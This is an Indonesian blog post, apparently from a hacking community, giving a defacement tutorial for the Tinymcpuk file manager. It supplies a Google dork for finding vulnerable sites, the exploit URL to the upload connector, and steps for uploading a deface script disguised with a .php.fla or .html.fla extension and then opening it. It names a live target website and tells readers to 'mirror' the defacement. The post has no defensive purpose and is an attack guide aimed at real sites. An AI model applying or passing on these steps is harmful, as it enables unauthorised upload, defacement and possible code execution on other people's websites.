Deface Poc Tinymcpuk File Upload

Rizki Ramadhan    Agustus 23, 2019    Deface    5 comments   

[+] Exploit Title = Tinymcpuk
[+] Author = KingSkrupellos
[+] Team = Cyberizm.Org Digital Security Team
[+] Google Dork =

Created by media tech indonesia
Created by media tech indonesia inurl:/statis-1 intext:whatsapp

Selebihnya use your brain :)
[+] Exploit = site.com/tinymcpuk/filemanager/browser.html?Connector=connectors/php/connector.php&Type=Flash
[+] Tutorial =
1. Langkah pertama, kalian dorking dulu dengan menggunakan dork yang telah saya sediakan di atas pada search engine kesukaan kalian.
2. Biasanya website yang vuln tinymcpuk adalah website daihatsu, suzuki, toyota, dan lain - lain.
3. Jika sudah menemukan website yang kira - kira vuln tinymcpuk, kalian kemudian tambahkan exploit yang saya berikan diatas dibelakang URL website.
4. Selanjutnya, klik "Pilih File" dan kalian upload script deface kalian berextensi php.fla atau html.fla
Gambar :

5. Cara akses filenya gimana gan? site.com/tinymcpuk/gambar/Flash/scriptdefacekamu.php.fla

Live Target = http://daihatsubangkalan.com

Gimana? Mudah bukan? Tinggal mirorin deh.. Jika kalian ingin request tutor, cukup komen postingan diblog ini atau bisa hubungi kami lewat halaman contact diblog ini. There a problem? Google Your Friend!

-Adm1n